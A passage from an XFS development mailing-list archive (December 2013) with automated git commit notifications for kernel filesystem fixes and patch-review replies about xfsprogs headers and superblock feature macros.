--047d7b6d9b16abcffb04ec9490ed-- From bpm@oss.sgi.com Mon Dec 2 16:37:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id CD06529DF9; Mon, 2 Dec 2013 16:37:12 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.13-rc1-2-13360-gdc1ccc4 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 2fe8c1c08b3fbd87dd2641c8f032ff6e965d5803 X-Git-Newrev: dc1ccc48159d63eca5089e507c82c7d22ef60839 Message-Id: <20131202223712.CD06529DF9@oss.sgi.com> Date: Mon, 2 Dec 2013 16:37:12 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 6ea9786 Merge tag 'xfs-for-linus-v3.13-rc1-2' of git://oss.sgi.com/xfs/xfs 7e1a1e9 Merge tag 'xfs-for-linus-v3.13-rc1' of git://oss.sgi.com/xfs/xfs c4a391b writeback: do not sync data dirtied after sync start b2a42f7 xfs: Use kmem_free() instead of free() 9b3b77f xfs: fix memory leak in xlog_recover_add_to_trans 6d31349 xfs: dirent dtype presence is dependent on directory magic numbers 89c6c89 xfs: lockdep needs to know about 3 dquot-deep nesting from 2fe8c1c08b3fbd87dd2641c8f032ff6e965d5803 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 6ea9786e76d74350aee6cd9339c6f7cb765ba291 Merge: 24f971a 2fe8c1c Author: Linus Torvalds Date: Fri Nov 22 08:37:47 2013 -0800 Merge tag 'xfs-for-linus-v3.13-rc1-2' of git://oss.sgi.com/xfs/xfs Pull second xfs update from Ben Myers: "There are a couple of patches that I wasn't quite sure about in time for our initial 3.13 pull request, a bugfix, and an update to add Dave to MAINTAINERS: Here we have a performance fix for inode iversion, increased inode cluster size for v5 superblock filesystems, a fix for error handling in xfs_bmap_add_attrfork, and a MAINTAINERS update to add Dave" * tag 'xfs-for-linus-v3.13-rc1-2' of git://oss.sgi.com/xfs/xfs: xfs: open code inc_inode_iversion when logging an inode xfs: increase inode cluster size for v5 filesystems xfs: fix unlock in xfs_bmap_add_attrfork xfs: update maintainers commit 7e1a1e9378018aeea2c7e8a3dd2ceb1db1523b0b Merge: fcd7476 359d992 Author: Linus Torvalds Date: Thu Nov 14 17:16:35 2013 +0900 Merge tag 'xfs-for-linus-v3.13-rc1' of git://oss.sgi.com/xfs/xfs Pull xfs update from Ben Myers: "For 3.13-rc1 we have an eclectic assortment of bugfixes, cleanups, and refactoring. Bugfixes that stand out are the fix for the AGF/AGI deadlock, incore extent list fixes, verifier fixes for v4 superblocks and growfs, and memory leaks. There are some asserts, warnings, and strings that were cleaned up. There was further rearrangement of code to make libxfs and the kernel sync up more easily, differences between v2 and v3 directory code were abstracted using an ops vector, xfs_inactive was reworked, and the preallocation/hole punching code was refactored. - simplify kmem_zone_zalloc - add traces for AGF/AGI read ops - add additional AIL traces - fix xfs_remove AGF vs AGI deadlock - fix the extent count of new incore extent page in the indirection array - don't fail bad secondary superblocks verification on v4 filesystems due to unzeroed bits after v4 fields - fix possible NULL dereference in xlog_verify_iclog - remove redundant assert in xfs_dir2_leafn_split - prevent stack overflows from page cache allocation - fix some sparse warnings - fix directory block format verifier to check the leaf entry count - abstract the differences in dir2/dir3 via an ops vector - continue process of reorganization to make libxfs/kernel code merges easier - refactor the preallocation and hole punching code - fix for growfs and verifiers - remove unnecessary scary corruption error when probing non-xfs filesystems - remove extra newlines from strings passed to printk - prevent deadlock trying to cover an active log - rework xfs_inactive() - add the inode directory type support to XFS_IOC_FSGEOM - cleanup (remove) usage of is_bad_inode - fix miscalculation in xfs_iext_realloc_direct which results in oversized direct extent list - remove unnecessary count arg to xfs_iomap_write_allocate - fix memory leak in xlog_recover_add_to_trans - check superblock instead of block magic to determine if dtype field is present - fix lockdep annotation due to project quotas - fix regression in xfs_node_toosmall which can lead to incorrect directory btree node collapse - make log recovery verify filesystem uuid of recovering blocks - fix XFS_IOC_FREE_EOFBLOCKS definition - remove invalid assert in xfs_inode_free - fix for AIL lock regression" * tag 'xfs-for-linus-v3.13-rc1' of git://oss.sgi.com/xfs/xfs: (49 commits) xfs: simplify kmem_{zone_}zalloc xfs: add tracepoints to AGF/AGI read operations xfs: trace AIL manipulations xfs: xfs_remove deadlocks due to inverted AGF vs AGI lock ordering xfs: fix the extent count when allocating an new indirection array entry xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields xfs: fix possible NULL dereference in xlog_verify_iclog xfs:xfs_dir2_node.c: pointer use before check for null xfs: prevent stack overflows from page cache allocation xfs: fix static and extern sparse warnings xfs: validity check the directory block leaf entry count xfs: make dir2 ftype offset pointers explicit xfs: convert directory vector functions to constants xfs: convert directory vector functions to constants xfs: vectorise encoding/decoding directory headers xfs: vectorise DA btree operations xfs: vectorise directory leaf operations xfs: vectorise directory data operations part 2 xfs: vectorise directory data operations xfs: vectorise remaining shortform dir2 ops ... commit c4a391b53a72d2df4ee97f96f78c1d5971b47489 Author: Jan Kara Date: Tue Nov 12 15:07:51 2013 -0800 writeback: do not sync data dirtied after sync start When there are processes heavily creating small files while sync(2) is running, it can easily happen that quite some new files are created between WB_SYNC_NONE and WB_SYNC_ALL pass of sync(2). That can happen especially if there are several busy filesystems (remember that sync traverses filesystems sequentially and waits in WB_SYNC_ALL phase on one fs before starting it on another fs). Because WB_SYNC_ALL pass is slow (e.g. causes a transaction commit and cache flush for each inode in ext3), resulting sync(2) times are rather large. The following script reproduces the problem: function run_writers { for (( i = 0; i < 10; i++ )); do mkdir $1/dir$i for (( j = 0; j < 40000; j++ )); do dd if=/dev/zero of=$1/dir$i/$j bs=4k count=4 &>/dev/null done & done } for dir in "$@"; do run_writers $dir done sleep 40 time sync Fix the problem by disregarding inodes dirtied after sync(2) was called in the WB_SYNC_ALL pass. To allow for this, sync_inodes_sb() now takes a time stamp when sync has started which is used for setting up work for flusher threads. To give some numbers, when above script is run on two ext4 filesystems on simple SATA drive, the average sync time from 10 runs is 267.549 seconds with standard deviation 104.799426. With the patched kernel, the average sync time from 10 runs is 2.995 seconds with standard deviation 0.096. Signed-off-by: Jan Kara Reviewed-by: Fengguang Wu Reviewed-by: Dave Chinner Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds commit b2a42f78ab475f4730300b0e9568bc3b2587d112 Author: Thierry Reding Date: Tue Oct 1 16:47:53 2013 +0200 xfs: Use kmem_free() instead of free() This fixes a build failure caused by calling the free() function which does not exist in the Linux kernel. Signed-off-by: Thierry Reding Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit aaaae98022efa4f3c31042f1fdf9e7a0c5f04663) commit 9b3b77fe661875f19ed748b67fb1eeb57d602b7e Author: tinguely@sgi.com Date: Fri Sep 27 09:00:55 2013 -0500 xfs: fix memory leak in xlog_recover_add_to_trans Free the memory in error path of xlog_recover_add_to_trans(). Normally this memory is freed in recovery pass2, but is leaked in the error path. Signed-off-by: Mark Tinguely Reviewed-by: Eric Sandeen Signed-off-by: Ben Myers (cherry picked from commit 519ccb81ac1c8e3e4eed294acf93be00b43dcad6) commit 6d313498f035abc9d8ad3a1b3295f133bfab9638 Author: Dave Chinner Date: Mon Sep 30 09:37:04 2013 +1000 xfs: dirent dtype presence is dependent on directory magic numbers The determination of whether a directory entry contains a dtype field originally was dependent on the filesystem having CRCs enabled. This meant that the format for dtype beign enabled could be determined by checking the directory block magic number rather than doing a feature bit check. This was useful in that it meant that we didn't need to pass a struct xfs_mount around to functions that were already supplied with a directory block header. Unfortunately, the introduction of dtype fields into the v4 structure via a feature bit meant this "use the directory block magic number" method of discriminating the dirent entry sizes is broken. Hence we need to convert the places that use magic number checks to use feature bit checks so that they work correctly and not by chance. The current code works on v4 filesystems only because the dirent size roundup covers the extra byte needed by the dtype field in the places where this problem occurs. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 367993e7c6428cb7617ab7653d61dca54e2fdede) commit 89c6c89af2ef41cb127c9694ef7783e585e96337 Author: Dave Chinner Date: Mon Sep 30 09:37:03 2013 +1000 xfs: lockdep needs to know about 3 dquot-deep nesting Michael Semon reported that xfs/299 generated this lockdep warning: ============================================= [ INFO: possible recursive locking detected ] 3.12.0-rc2+ #2 Not tainted --------------------------------------------- touch/21072 is trying to acquire lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 but task is already holding lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(&xfs_dquot_other_class); lock(&xfs_dquot_other_class); *** DEADLOCK *** May be due to missing lock nesting notation 7 locks held by touch/21072: #0: (sb_writers#10){++++.+}, at: [] mnt_want_write+0x1e/0x3e #1: (&type->i_mutex_dir_key#4){+.+.+.}, at: [] do_last+0x245/0xe40 #2: (sb_internal#2){++++.+}, at: [] xfs_trans_alloc+0x1f/0x35 #3: (&(&ip->i_lock)->mr_lock/1){+.+...}, at: [] xfs_ilock+0x100/0x1f1 #4: (&(&ip->i_lock)->mr_lock){++++-.}, at: [] xfs_ilock_nowait+0x105/0x22f #5: (&dqp->q_qlock){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 #6: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 The lockdep annotation for dquot lock nesting only understands locking for user and "other" dquots, not user, group and quota dquots. Fix the annotations to match the locking heirarchy we now have. Reported-by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit f112a049712a5c07de25d511c3c6587a2b1a015e) ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_super.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Mon Dec 2 16:37:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id A3FFE29E10; Mon, 2 Dec 2013 16:37:32 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.13-rc1-2-13360-gdc1ccc4 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 2fe8c1c08b3fbd87dd2641c8f032ff6e965d5803 X-Git-Newrev: dc1ccc48159d63eca5089e507c82c7d22ef60839 Message-Id: <20131202223732.A3FFE29E10@oss.sgi.com> Date: Mon, 2 Dec 2013 16:37:31 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 6ea9786 Merge tag 'xfs-for-linus-v3.13-rc1-2' of git://oss.sgi.com/xfs/xfs 7e1a1e9 Merge tag 'xfs-for-linus-v3.13-rc1' of git://oss.sgi.com/xfs/xfs c4a391b writeback: do not sync data dirtied after sync start b2a42f7 xfs: Use kmem_free() instead of free() 9b3b77f xfs: fix memory leak in xlog_recover_add_to_trans 6d31349 xfs: dirent dtype presence is dependent on directory magic numbers 89c6c89 xfs: lockdep needs to know about 3 dquot-deep nesting from 2fe8c1c08b3fbd87dd2641c8f032ff6e965d5803 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 6ea9786e76d74350aee6cd9339c6f7cb765ba291 Merge: 24f971a 2fe8c1c Author: Linus Torvalds Date: Fri Nov 22 08:37:47 2013 -0800 Merge tag 'xfs-for-linus-v3.13-rc1-2' of git://oss.sgi.com/xfs/xfs Pull second xfs update from Ben Myers: "There are a couple of patches that I wasn't quite sure about in time for our initial 3.13 pull request, a bugfix, and an update to add Dave to MAINTAINERS: Here we have a performance fix for inode iversion, increased inode cluster size for v5 superblock filesystems, a fix for error handling in xfs_bmap_add_attrfork, and a MAINTAINERS update to add Dave" * tag 'xfs-for-linus-v3.13-rc1-2' of git://oss.sgi.com/xfs/xfs: xfs: open code inc_inode_iversion when logging an inode xfs: increase inode cluster size for v5 filesystems xfs: fix unlock in xfs_bmap_add_attrfork xfs: update maintainers commit 7e1a1e9378018aeea2c7e8a3dd2ceb1db1523b0b Merge: fcd7476 359d992 Author: Linus Torvalds Date: Thu Nov 14 17:16:35 2013 +0900 Merge tag 'xfs-for-linus-v3.13-rc1' of git://oss.sgi.com/xfs/xfs Pull xfs update from Ben Myers: "For 3.13-rc1 we have an eclectic assortment of bugfixes, cleanups, and refactoring. Bugfixes that stand out are the fix for the AGF/AGI deadlock, incore extent list fixes, verifier fixes for v4 superblocks and growfs, and memory leaks. There are some asserts, warnings, and strings that were cleaned up. There was further rearrangement of code to make libxfs and the kernel sync up more easily, differences between v2 and v3 directory code were abstracted using an ops vector, xfs_inactive was reworked, and the preallocation/hole punching code was refactored. - simplify kmem_zone_zalloc - add traces for AGF/AGI read ops - add additional AIL traces - fix xfs_remove AGF vs AGI deadlock - fix the extent count of new incore extent page in the indirection array - don't fail bad secondary superblocks verification on v4 filesystems due to unzeroed bits after v4 fields - fix possible NULL dereference in xlog_verify_iclog - remove redundant assert in xfs_dir2_leafn_split - prevent stack overflows from page cache allocation - fix some sparse warnings - fix directory block format verifier to check the leaf entry count - abstract the differences in dir2/dir3 via an ops vector - continue process of reorganization to make libxfs/kernel code merges easier - refactor the preallocation and hole punching code - fix for growfs and verifiers - remove unnecessary scary corruption error when probing non-xfs filesystems - remove extra newlines from strings passed to printk - prevent deadlock trying to cover an active log - rework xfs_inactive() - add the inode directory type support to XFS_IOC_FSGEOM - cleanup (remove) usage of is_bad_inode - fix miscalculation in xfs_iext_realloc_direct which results in oversized direct extent list - remove unnecessary count arg to xfs_iomap_write_allocate - fix memory leak in xlog_recover_add_to_trans - check superblock instead of block magic to determine if dtype field is present - fix lockdep annotation due to project quotas - fix regression in xfs_node_toosmall which can lead to incorrect directory btree node collapse - make log recovery verify filesystem uuid of recovering blocks - fix XFS_IOC_FREE_EOFBLOCKS definition - remove invalid assert in xfs_inode_free - fix for AIL lock regression" * tag 'xfs-for-linus-v3.13-rc1' of git://oss.sgi.com/xfs/xfs: (49 commits) xfs: simplify kmem_{zone_}zalloc xfs: add tracepoints to AGF/AGI read operations xfs: trace AIL manipulations xfs: xfs_remove deadlocks due to inverted AGF vs AGI lock ordering xfs: fix the extent count when allocating an new indirection array entry xfs: be more forgiving of a v4 secondary sb w/ junk in v5 fields xfs: fix possible NULL dereference in xlog_verify_iclog xfs:xfs_dir2_node.c: pointer use before check for null xfs: prevent stack overflows from page cache allocation xfs: fix static and extern sparse warnings xfs: validity check the directory block leaf entry count xfs: make dir2 ftype offset pointers explicit xfs: convert directory vector functions to constants xfs: convert directory vector functions to constants xfs: vectorise encoding/decoding directory headers xfs: vectorise DA btree operations xfs: vectorise directory leaf operations xfs: vectorise directory data operations part 2 xfs: vectorise directory data operations xfs: vectorise remaining shortform dir2 ops ... commit c4a391b53a72d2df4ee97f96f78c1d5971b47489 Author: Jan Kara Date: Tue Nov 12 15:07:51 2013 -0800 writeback: do not sync data dirtied after sync start When there are processes heavily creating small files while sync(2) is running, it can easily happen that quite some new files are created between WB_SYNC_NONE and WB_SYNC_ALL pass of sync(2). That can happen especially if there are several busy filesystems (remember that sync traverses filesystems sequentially and waits in WB_SYNC_ALL phase on one fs before starting it on another fs). Because WB_SYNC_ALL pass is slow (e.g. causes a transaction commit and cache flush for each inode in ext3), resulting sync(2) times are rather large. The following script reproduces the problem: function run_writers { for (( i = 0; i < 10; i++ )); do mkdir $1/dir$i for (( j = 0; j < 40000; j++ )); do dd if=/dev/zero of=$1/dir$i/$j bs=4k count=4 &>/dev/null done & done } for dir in "$@"; do run_writers $dir done sleep 40 time sync Fix the problem by disregarding inodes dirtied after sync(2) was called in the WB_SYNC_ALL pass. To allow for this, sync_inodes_sb() now takes a time stamp when sync has started which is used for setting up work for flusher threads. To give some numbers, when above script is run on two ext4 filesystems on simple SATA drive, the average sync time from 10 runs is 267.549 seconds with standard deviation 104.799426. With the patched kernel, the average sync time from 10 runs is 2.995 seconds with standard deviation 0.096. Signed-off-by: Jan Kara Reviewed-by: Fengguang Wu Reviewed-by: Dave Chinner Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds commit b2a42f78ab475f4730300b0e9568bc3b2587d112 Author: Thierry Reding Date: Tue Oct 1 16:47:53 2013 +0200 xfs: Use kmem_free() instead of free() This fixes a build failure caused by calling the free() function which does not exist in the Linux kernel. Signed-off-by: Thierry Reding Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit aaaae98022efa4f3c31042f1fdf9e7a0c5f04663) commit 9b3b77fe661875f19ed748b67fb1eeb57d602b7e Author: tinguely@sgi.com Date: Fri Sep 27 09:00:55 2013 -0500 xfs: fix memory leak in xlog_recover_add_to_trans Free the memory in error path of xlog_recover_add_to_trans(). Normally this memory is freed in recovery pass2, but is leaked in the error path. Signed-off-by: Mark Tinguely Reviewed-by: Eric Sandeen Signed-off-by: Ben Myers (cherry picked from commit 519ccb81ac1c8e3e4eed294acf93be00b43dcad6) commit 6d313498f035abc9d8ad3a1b3295f133bfab9638 Author: Dave Chinner Date: Mon Sep 30 09:37:04 2013 +1000 xfs: dirent dtype presence is dependent on directory magic numbers The determination of whether a directory entry contains a dtype field originally was dependent on the filesystem having CRCs enabled. This meant that the format for dtype beign enabled could be determined by checking the directory block magic number rather than doing a feature bit check. This was useful in that it meant that we didn't need to pass a struct xfs_mount around to functions that were already supplied with a directory block header. Unfortunately, the introduction of dtype fields into the v4 structure via a feature bit meant this "use the directory block magic number" method of discriminating the dirent entry sizes is broken. Hence we need to convert the places that use magic number checks to use feature bit checks so that they work correctly and not by chance. The current code works on v4 filesystems only because the dirent size roundup covers the extra byte needed by the dtype field in the places where this problem occurs. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 367993e7c6428cb7617ab7653d61dca54e2fdede) commit 89c6c89af2ef41cb127c9694ef7783e585e96337 Author: Dave Chinner Date: Mon Sep 30 09:37:03 2013 +1000 xfs: lockdep needs to know about 3 dquot-deep nesting Michael Semon reported that xfs/299 generated this lockdep warning: ============================================= [ INFO: possible recursive locking detected ] 3.12.0-rc2+ #2 Not tainted --------------------------------------------- touch/21072 is trying to acquire lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 but task is already holding lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(&xfs_dquot_other_class); lock(&xfs_dquot_other_class); *** DEADLOCK *** May be due to missing lock nesting notation 7 locks held by touch/21072: #0: (sb_writers#10){++++.+}, at: [] mnt_want_write+0x1e/0x3e #1: (&type->i_mutex_dir_key#4){+.+.+.}, at: [] do_last+0x245/0xe40 #2: (sb_internal#2){++++.+}, at: [] xfs_trans_alloc+0x1f/0x35 #3: (&(&ip->i_lock)->mr_lock/1){+.+...}, at: [] xfs_ilock+0x100/0x1f1 #4: (&(&ip->i_lock)->mr_lock){++++-.}, at: [] xfs_ilock_nowait+0x105/0x22f #5: (&dqp->q_qlock){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 #6: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 The lockdep annotation for dquot lock nesting only understands locking for user and "other" dquots, not user, group and quota dquots. Fix the annotations to match the locking heirarchy we now have. Reported-by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit f112a049712a5c07de25d511c3c6587a2b1a015e) ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_super.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Mon Dec 2 16:49:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B92729DF9 for ; Mon, 2 Dec 2013 16:49:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E6234AC00A for ; Mon, 2 Dec 2013 14:49:25 -0800 (PST) X-ASG-Debug-ID: 1386024563-04cbb04168490ed0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id s7G7VYQ2YSUWCJbD for ; Mon, 02 Dec 2013 14:49:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAJYNnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgcDCSUPBSUDIROIAMBrFxaOcgeEMwOYE5IUgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:19:23 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VncIp-0007cp-Js; Tue, 03 Dec 2013 09:49:19 +1100 Date: Tue, 3 Dec 2013 09:49:19 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/15] xfsprogs: use common code for multi-disk detection Message-ID: <20131202224919.GY10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 01/15] xfsprogs: use common code for multi-disk detection References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-2-git-send-email-david@fromorbit.com> <20131202104016.GA21394@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202104016.GA21394@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386024563 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142793 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 02:40:16AM -0800, Christoph Hellwig wrote: > On Fri, Nov 29, 2013 at 12:43:36PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Both xfs_repair and mkfs.xfs need to agree on what is a "multidisk: > > configuration - mkfs for determining the AG count of the filesystem, > > repair for determining how to automatically parallelise it's > > execution. This requires a bunch of common defines that both mkfs > > and reapir need to share. > > > > In fact, most of the defines in xfs_mkfs.h could be shared with > > other programs (i.e. all the defaults mkfs uses) and so it is > > simplest to move xfs_mkfs.h to the shared include directory and add > > the new defines to it directly. > > I have to say I do not like making the mkfs header public at all. > There's things like local prototypes in there that shouldn't be in > include/, and the name is wrong, too. include/xfs_geom.h maybe? Yeah, I know it's a bit messy - I thought that as the series went on all those prototypes would go away, but only some of them have. I like the idea of xfs_geom.h, though, because that encapsulates what we are trying to shared here... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 16:50:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D314829DF9 for ; Mon, 2 Dec 2013 16:50:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5D006AC001 for ; Mon, 2 Dec 2013 14:50:53 -0800 (PST) X-ASG-Debug-ID: 1386024651-04cbb04168491020001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id tWD2EhWGEu2mz4vY for ; Mon, 02 Dec 2013 14:50:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAJYNnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwREhAIAw4HAwklDwUlAyETiADAaxcWjnIHhDMDmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:20:51 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VncKG-0007cz-0c; Tue, 03 Dec 2013 09:50:48 +1100 Date: Tue, 3 Dec 2013 09:50:47 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/15] mkfs: Sanitise the superblock feature macros Message-ID: <20131202225047.GZ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 03/15] mkfs: Sanitise the superblock feature macros References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-4-git-send-email-david@fromorbit.com> <20131202104302.GC21394@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202104302.GC21394@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386024651 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142793 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 02:43:02AM -0800, Christoph Hellwig wrote: > On Fri, Nov 29, 2013 at 12:43:38PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > They are horrible macros that simply obfuscate the code, so > > let's factor the code and make them nice functions. > > > > To do this, add a sb_feat_args structure that carries around the > > variables rather than a strange assortment of variables. This means > > all the default can be clearly defined in a structure > > initialisation, and dependent feature bits are easy to check. > > Nice clean, > > Reviewed-by: Christoph Hellwig > > But one minor nitpick: > > > + bool projid16bit; > > Given that 32-bit projids are the newer feature I'd make them the > flag instead of inverting it, which is how all the other flags work. Fair enough - I just converted the existing variables to a structure. I'll fix that up. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jack@suse.cz Mon Dec 2 17:00:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6473F29DF9 for ; Mon, 2 Dec 2013 17:00:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 26F5130408E for ; Mon, 2 Dec 2013 15:00:11 -0800 (PST) X-ASG-Debug-ID: 1386025209-04bdf06eec494660001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id FAAKA5X7D31lghNF for ; Mon, 02 Dec 2013 15:00:09 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id C6F88A7B65; Tue, 3 Dec 2013 00:00:08 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 866AF81EF4; Tue, 3 Dec 2013 00:00:07 +0100 (CET) Date: Tue, 3 Dec 2013 00:00:07 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, 